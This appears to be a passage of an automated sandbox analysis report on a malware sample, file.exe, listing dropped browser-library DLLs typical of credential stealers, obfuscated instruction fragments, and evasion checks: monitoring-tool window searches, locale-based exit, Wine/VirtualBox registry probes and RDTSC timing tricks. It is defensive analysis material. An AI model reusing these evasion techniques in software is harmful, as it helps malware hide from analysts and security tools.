Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push edi; mov dword ptr [esp], eax	0_2_013D84CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push edi; mov dword ptr [esp], edx	0_2_013D84FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push eax; mov dword ptr [esp], ecx	0_2_013D84FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push ecx; mov dword ptr [esp], ebx	0_2_013D8533
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push ebp; mov dword ptr [esp], 614731D8h	0_2_013D85C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push 446F745Bh; mov dword ptr [esp], ecx	0_2_013D85E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push ebp; mov dword ptr [esp], edx	0_2_013D85EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push ecx; mov dword ptr [esp], ebx	0_2_013D8627
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push edi; mov dword ptr [esp], 3F7D0E29h	0_2_013D86BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push ebx; mov dword ptr [esp], ebp	0_2_013D8750
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push 3FE65FF6h; mov dword ptr [esp], eax	0_2_013D876A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push eax; mov dword ptr [esp], esp	0_2_013D881F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push edi; mov dword ptr [esp], 00000025h	0_2_013D88AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D8162 push 4737F6EAh; mov dword ptr [esp], edx	0_2_013D8951

Source: file.exe

Static PE information: section name: hsaeqjuf entropy: 7.953470920607387

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_01019860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58436

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262121 second address: 126213F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF2CC641F9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1E9B second address: 13E1E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1E9F second address: 13E1EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1EA5 second address: 13E1EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6F61 second address: 13E6F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E70F0 second address: 13E7107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF2D4D1A43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E73E9 second address: 13E73F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E73F1 second address: 13E73F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E96D0 second address: 13E96D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E96D6 second address: 13E96DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E96DA second address: 13E96DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E96DE second address: 13E96F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnp 00007FBF2D4D1A38h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007FBF2D4D1A36h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E96F8 second address: 13E96FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E96FC second address: 13E9756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jng 00007FBF2D4D1A56h 0x0000000e push 00000000h 0x00000010 add edx, 6A096381h 0x00000016 push 79236726h 0x0000001b pushad 0x0000001c jo 00007FBF2D4D1A4Bh 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9756 second address: 13E97CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 792367A6h 0x0000000d jmp 00007FBF2CC641EBh 0x00000012 push 00000003h 0x00000014 jmp 00007FBF2CC641EBh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007FBF2CC641E8h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 call 00007FBF2CC641F0h 0x0000003a mov di, CB23h 0x0000003e pop edx 0x0000003f push 00000003h 0x00000041 mov dword ptr [ebp+122D2912h], eax 0x00000047 push FA574C22h 0x0000004c js 00007FBF2CC641F0h 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E97CA second address: 13E97EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 xor dword ptr [esp], 3A574C22h 0x0000000e mov ecx, 4C8E881Ch 0x00000013 lea ebx, dword ptr [ebp+1245B5DDh] 0x00000019 mov dl, al 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E97EA second address: 13E9809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBF2CC641F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9941 second address: 13E9946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E99A9 second address: 13E99FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007FBF2CC641E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f add cx, F887h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FBF2CC641E8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 jno 00007FBF2CC641E9h 0x00000036 cmc 0x00000037 call 00007FBF2CC641E9h 0x0000003c push eax 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E99FA second address: 13E9A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FBF2D4D1A43h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jnc 00007FBF2D4D1A59h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FBF2D4D1A47h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9A37 second address: 13E9A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9A3B second address: 13E9AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jmp 00007FBF2D4D1A48h 0x0000000e jmp 00007FBF2D4D1A44h 0x00000013 popad 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 jmp 00007FBF2D4D1A41h 0x0000001d pop eax 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FBF2D4D1A38h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 jmp 00007FBF2D4D1A43h 0x0000003d push 00000003h 0x0000003f mov esi, dword ptr [ebp+122D3388h] 0x00000045 push 00000000h 0x00000047 or dword ptr [ebp+122D2A36h], edx 0x0000004d push 00000003h 0x0000004f mov cx, di 0x00000052 push 978FED8Dh 0x00000057 pushad 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9AD4 second address: 13E9B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBF2CC641E6h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007FBF2CC641EEh 0x00000011 pop edx 0x00000012 popad 0x00000013 add dword ptr [esp], 28701273h 0x0000001a sub dword ptr [ebp+122D31CDh], ebx 0x00000020 lea ebx, dword ptr [ebp+1245B5F1h] 0x00000026 mov ecx, dword ptr [ebp+122D3802h] 0x0000002c push eax 0x0000002d jbe 00007FBF2CC641F4h 0x00000033 push eax 0x00000034 push edx 0x00000035 jo 00007FBF2CC641E6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140868C second address: 140869A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140869A second address: 14086A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14086A0 second address: 14086A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140895E second address: 1408962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1408C1F second address: 1408C3B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FBF2D4D1A42h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1408C3B second address: 1408C40 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409353 second address: 1409357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409357 second address: 140935B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140935B second address: 1409379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FBF2D4D1A3Ch 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 je 00007FBF2D4D1A36h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409379 second address: 1409388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FBF2CC641E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409388 second address: 1409390 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409390 second address: 140939B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FBF2CC641E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409EE2 second address: 1409EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409EF8 second address: 1409F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF2CC641F7h 0x00000009 jl 00007FBF2CC641E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A091 second address: 140A095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A095 second address: 140A0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBF2CC641EBh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A0B0 second address: 140A0B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140A0B4 second address: 140A0D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CD4D second address: 140CD57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBF2D4D1A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CD57 second address: 140CD5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CD5B second address: 140CD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBF2D4D1A3Bh 0x0000000f jmp 00007FBF2D4D1A3Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140DAE4 second address: 140DB04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBF2CC641EEh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jnl 00007FBF2CC641E6h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F3F9 second address: 140F3FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F501 second address: 140F505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1415BE6 second address: 1415BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1415151 second address: 1415156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14152B9 second address: 14152BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14152BD second address: 14152DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FBF2CC641F8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417B3C second address: 1417B42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417B42 second address: 1417B50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417B50 second address: 1417B83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FBF2D4D1A40h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417CDD second address: 1417CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417EDC second address: 1417EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417EE2 second address: 1417F06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBF2CC641F9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419B6D second address: 1419BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBF2D4D1A36h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or esi, dword ptr [ebp+122D37E2h] 0x00000014 mov edi, dword ptr [ebp+122D37B2h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007FBF2D4D1A38h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov esi, dword ptr [ebp+122D35D2h] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007FBF2D4D1A38h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 and esi, 1C8D0AFDh 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419A42 second address: 1419A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419BE4 second address: 1419BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419A46 second address: 1419A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419BF0 second address: 1419BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141AC67 second address: 141AC6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141AC6B second address: 141AC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141AC71 second address: 141ACC1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBF2CC641F0h 0x00000008 jmp 00007FBF2CC641EAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push edx 0x00000013 jno 00007FBF2CC641ECh 0x00000019 pop esi 0x0000001a push 00000000h 0x0000001c movsx esi, cx 0x0000001f push 00000000h 0x00000021 sub dword ptr [ebp+122D1A0Bh], esi 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b jmp 00007FBF2CC641F9h 0x00000030 pop eax 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141ACC1 second address: 141ACC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141ACC7 second address: 141ACE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141ACE7 second address: 141AD08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141AD08 second address: 141AD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
